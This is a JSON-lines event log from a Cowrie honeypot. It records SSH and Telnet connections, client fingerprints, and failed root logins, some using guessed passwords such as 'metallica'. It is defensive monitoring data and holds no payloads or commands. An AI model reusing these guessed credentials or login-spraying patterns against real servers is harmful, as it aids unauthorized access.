{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":57884,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db50d2d46ba","protocol":"ssh","message":"New connection: 139.19.117.129:57884 (159.203.135.109:22) [session: 0db50d2d46ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:15.673540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:15.678627Z","src_ip":"139.19.117.129","session":"0db50d2d46ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:15.775421Z","src_ip":"139.19.117.129","session":"0db50d2d46ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:af:e9:73:7d:d5:ae:0e:c9:68:47:04:11:36:a8:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhdJ7lE0pb8sCbmPw+G3yAAqRQkGz5up3dVDjSnxD4UepzgN7JUXrUOUHk8L1gSqQKFUkpBi2Y+xKInATS//Ju4jgSed6TqF8R6tCkxgzIIfabU5JxPKO5F9oNeM7JGximIGKO6vl30/q8VUXkmE5qbK4QUiJkJ0VzT+eoHbt6fk77+NcYgk5tuEQqpo4NnBo3ntJdaUQZGdEjcBvtixU6U4yiHdx1YsAiBHxLV9NtbpdIEO0ZYM3YxGleGz2nIsL9+LfvnbTR28Q5Cu0UtS4binHVr+ioImrv5EZI+0BOr9FQeZXy5wl9od6WJyJCLU5dgfxVy3antPrEVMeaE3gew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:af:e9:73:7d:d5:ae:0e:c9:68:47:04:11:36:a8:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:15.963167Z","src_ip":"139.19.117.129","session":"0db50d2d46ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:af:e9:73:7d:d5:ae:0e:c9:68:47:04:11:36:a8:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhdJ7lE0pb8sCbmPw+G3yAAqRQkGz5up3dVDjSnxD4UepzgN7JUXrUOUHk8L1gSqQKFUkpBi2Y+xKInATS//Ju4jgSed6TqF8R6tCkxgzIIfabU5JxPKO5F9oNeM7JGximIGKO6vl30/q8VUXkmE5qbK4QUiJkJ0VzT+eoHbt6fk77+NcYgk5tuEQqpo4NnBo3ntJdaUQZGdEjcBvtixU6U4yiHdx1YsAiBHxLV9NtbpdIEO0ZYM3YxGleGz2nIsL9+LfvnbTR28Q5Cu0UtS4binHVr+ioImrv5EZI+0BOr9FQeZXy5wl9od6WJyJCLU5dgfxVy3antPrEVMeaE3gew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:15.972023Z","src_ip":"139.19.117.129","session":"0db50d2d46ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:af:e9:73:7d:d5:ae:0e:c9:68:47:04:11:36:a8:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhdJ7lE0pb8sCbmPw+G3yAAqRQkGz5up3dVDjSnxD4UepzgN7JUXrUOUHk8L1gSqQKFUkpBi2Y+xKInATS//Ju4jgSed6TqF8R6tCkxgzIIfabU5JxPKO5F9oNeM7JGximIGKO6vl30/q8VUXkmE5qbK4QUiJkJ0VzT+eoHbt6fk77+NcYgk5tuEQqpo4NnBo3ntJdaUQZGdEjcBvtixU6U4yiHdx1YsAiBHxLV9NtbpdIEO0ZYM3YxGleGz2nIsL9+LfvnbTR28Q5Cu0UtS4binHVr+ioImrv5EZI+0BOr9FQeZXy5wl9od6WJyJCLU5dgfxVy3antPrEVMeaE3gew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:af:e9:73:7d:d5:ae:0e:c9:68:47:04:11:36:a8:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:16.066934Z","src_ip":"139.19.117.129","session":"0db50d2d46ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:af:e9:73:7d:d5:ae:0e:c9:68:47:04:11:36:a8:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhdJ7lE0pb8sCbmPw+G3yAAqRQkGz5up3dVDjSnxD4UepzgN7JUXrUOUHk8L1gSqQKFUkpBi2Y+xKInATS//Ju4jgSed6TqF8R6tCkxgzIIfabU5JxPKO5F9oNeM7JGximIGKO6vl30/q8VUXkmE5qbK4QUiJkJ0VzT+eoHbt6fk77+NcYgk5tuEQqpo4NnBo3ntJdaUQZGdEjcBvtixU6U4yiHdx1YsAiBHxLV9NtbpdIEO0ZYM3YxGleGz2nIsL9+LfvnbTR28Q5Cu0UtS4binHVr+ioImrv5EZI+0BOr9FQeZXy5wl9od6WJyJCLU5dgfxVy3antPrEVMeaE3gew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:16.070895Z","src_ip":"139.19.117.129","session":"0db50d2d46ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42418,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f8447c80fd","protocol":"telnet","message":"New connection: 152.42.224.71:42418 (10.17.0.5:23) [session: 61f8447c80fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:16.609543Z"}
{"eventid":"cowrie.session.closed","duration":49.801109313964844,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:17.733953Z","src_ip":"152.42.224.71","session":"4778218e4e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":33206,"dst_ip":"159.203.135.109","dst_port":22,"session":"104b8b109f2e","protocol":"ssh","message":"New connection: 103.75.183.219:33206 (159.203.135.109:22) [session: 104b8b109f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:18.403616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:18.408020Z","src_ip":"103.75.183.219","session":"104b8b109f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:18.654496Z","src_ip":"103.75.183.219","session":"104b8b109f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metallica","message":"login attempt [root/metallica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:19.392354Z","src_ip":"103.75.183.219","session":"104b8b109f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:20.641156Z","src_ip":"103.75.183.219","session":"104b8b109f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42432,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7aa8060b24c","protocol":"telnet","message":"New connection: 152.42.224.71:42432 (10.17.0.5:23) [session: c7aa8060b24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:21.745961Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:25.674043Z","src_ip":"139.19.117.129","session":"0db50d2d46ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":40682,"dst_ip":"10.17.0.5","dst_port":22,"session":"d14100d3f7ff","protocol":"ssh","message":"New connection: 147.45.197.250:40682 (10.17.0.5:22) [session: d14100d3f7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:26.519018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:26.525147Z","src_ip":"147.45.197.250","session":"d14100d3f7ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:26.615398Z","src_ip":"147.45.197.250","session":"d14100d3f7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456788","message":"login attempt [root/123456788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:26.885182Z","src_ip":"147.45.197.250","session":"d14100d3f7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:27.977230Z","src_ip":"147.45.197.250","session":"d14100d3f7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":57754,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d53fd8b73b4","protocol":"ssh","message":"New connection: 104.194.10.248:57754 (10.17.0.5:22) [session: 9d53fd8b73b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.278958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.283308Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.289981Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:8e:b3:a5:43:6b:82:88:ee:21:b7:3a:8e:95:1c:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9x5LQLcREjeS0uec7XFG3GMHulf3BLJqSXpHuGIsF3/j2y/mm4/riFsKNlhOyRpTKfepttdr/SBxU+OhnXqexxj6ZAEKOmoKxFxnmo3oNHvJwK/T9QUqdXyR5lXwbOiuRf5UETJY2suqY58byNbnhzeH1H4D7Y57MRuwbW3o1v4+ksZb/b3kCREOnkxXk4howsP+TTp+kunO8K5LqFKfZloe+0fwqGYB/9RYr7CpKdd3Se4lucw7mHXXM/oeVGVktmppLnoITgPeedGslZi33LAhZrhkUyWMgW75fAc8DzuTcKsM0ByBP/ku9bMtSqn6gqvfPpAqNjRPC8xF2+xKL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:8e:b3:a5:43:6b:82:88:ee:21:b7:3a:8e:95:1c:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.306838Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:8e:b3:a5:43:6b:82:88:ee:21:b7:3a:8e:95:1c:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9x5LQLcREjeS0uec7XFG3GMHulf3BLJqSXpHuGIsF3/j2y/mm4/riFsKNlhOyRpTKfepttdr/SBxU+OhnXqexxj6ZAEKOmoKxFxnmo3oNHvJwK/T9QUqdXyR5lXwbOiuRf5UETJY2suqY58byNbnhzeH1H4D7Y57MRuwbW3o1v4+ksZb/b3kCREOnkxXk4howsP+TTp+kunO8K5LqFKfZloe+0fwqGYB/9RYr7CpKdd3Se4lucw7mHXXM/oeVGVktmppLnoITgPeedGslZi33LAhZrhkUyWMgW75fAc8DzuTcKsM0ByBP/ku9bMtSqn6gqvfPpAqNjRPC8xF2+xKL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.310353Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:d2:3c:06:da:11:b6:a3:f7:fe:5a:5a:90:ce:2f:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0wB0FyyiCABgIK0UIZ8Ky0tVlJ73opUNHHDmOkRmYKBrZkLCKckpVqVxgVmEDpP2ibDcNjVMrdRqpNU3bqB1imiY7DWw8C33+lkpr+gJiobK2SG8NXH78uE4uEvy5DnA1/Hg//+O6NmKFqeD3+d+gvu0L0+k50hojUnBV9KA001f8691qCNH0gs+dXuDGGw6rrG6MTJPMExP9FQn/hh6fcWrvskvgLGDm+BlaagLF4VoaWndpeN1/7IPL5xgzClvc2I/ZTwOe3inMMY5mixzD9nHk2xfxWEZShGRd1hrHCk4gRD6radMe7piOxo+6cTfVVTLfs52g5uq3FCqgeHh2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:d2:3c:06:da:11:b6:a3:f7:fe:5a:5a:90:ce:2f:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.317558Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:d2:3c:06:da:11:b6:a3:f7:fe:5a:5a:90:ce:2f:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0wB0FyyiCABgIK0UIZ8Ky0tVlJ73opUNHHDmOkRmYKBrZkLCKckpVqVxgVmEDpP2ibDcNjVMrdRqpNU3bqB1imiY7DWw8C33+lkpr+gJiobK2SG8NXH78uE4uEvy5DnA1/Hg//+O6NmKFqeD3+d+gvu0L0+k50hojUnBV9KA001f8691qCNH0gs+dXuDGGw6rrG6MTJPMExP9FQn/hh6fcWrvskvgLGDm+BlaagLF4VoaWndpeN1/7IPL5xgzClvc2I/ZTwOe3inMMY5mixzD9nHk2xfxWEZShGRd1hrHCk4gRD6radMe7piOxo+6cTfVVTLfs52g5uq3FCqgeHh2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.320975Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:4a:02:8f:f7:50:d6:f0:81:a7:a4:2e:d0:0d:36:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPdzBIDR9BNPus1ycO/9pYRc1l6+RGaWHZyE+gFdiwlxqqGfxTNIVordwpCKupDBdwVNaHPOK6+0VZxNV2F23sKC0RCN2EjVL/gQJ3w6IMRakTWoHObh1f5IlPwsDQ+t8hpVnEvcJZ1IpFyRIUBwNQThoVyS+ijYmge26QestVzBq7nhiD/s2bGzzQ4bYJ3pIFIuwJIKkxxPhgpuN/Y0KMpoRYxbuC+yLFgEkqWqKaYq+nvQ/Bj9Ef/h7k5MkTl3M7dwTas79cZw2UcOfVgdQCQ+R62fmhp/8NZ+2h3ha8Bnj9rzuyEC6Uhtl+Wa6oD+5AGyM/Wfgg4iMIV6gTTxKl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:4a:02:8f:f7:50:d6:f0:81:a7:a4:2e:d0:0d:36:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.328207Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:4a:02:8f:f7:50:d6:f0:81:a7:a4:2e:d0:0d:36:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPdzBIDR9BNPus1ycO/9pYRc1l6+RGaWHZyE+gFdiwlxqqGfxTNIVordwpCKupDBdwVNaHPOK6+0VZxNV2F23sKC0RCN2EjVL/gQJ3w6IMRakTWoHObh1f5IlPwsDQ+t8hpVnEvcJZ1IpFyRIUBwNQThoVyS+ijYmge26QestVzBq7nhiD/s2bGzzQ4bYJ3pIFIuwJIKkxxPhgpuN/Y0KMpoRYxbuC+yLFgEkqWqKaYq+nvQ/Bj9Ef/h7k5MkTl3M7dwTas79cZw2UcOfVgdQCQ+R62fmhp/8NZ+2h3ha8Bnj9rzuyEC6Uhtl+Wa6oD+5AGyM/Wfgg4iMIV6gTTxKl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.331236Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:e4:4d:f7:4a:3f:53:f6:00:f0:9e:99:a2:bc:47:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlIvDM9NyNKsAjUitfvVGPZOjC2QFoW4Q/gSTpiaFmQyJxW5MJZ/MTrV+bivb7ZvkqfddbKVs1pPaFV2lTjaa+nM0IvXkMObdwCci5kynkkXTYRYj3bKV6wA2zr//jwHNmTQQS7mWNfv4riF5NNr0d9Bg7EUaC6hdEHGc8SQhC3jYqpX9EWin85+mcQtivSqZaJiXqWvaR+yEEzmGgTxXa2WYNqzsGs4A/3tMco+J+XKAVxMVGYVfuXHBoKacX2mfomATcLMQibRVfaBY7TaghA9DuMldLheNi9iyJKFz3phWb2JoxvtA4EvUwwQHbN1EVtOL6gsyA2gILI2FR3WOKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:e4:4d:f7:4a:3f:53:f6:00:f0:9e:99:a2:bc:47:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:29.339297Z","src_ip":"104.194.10.248","session":"9d53fd8b73b4","protocol":"ssh"}
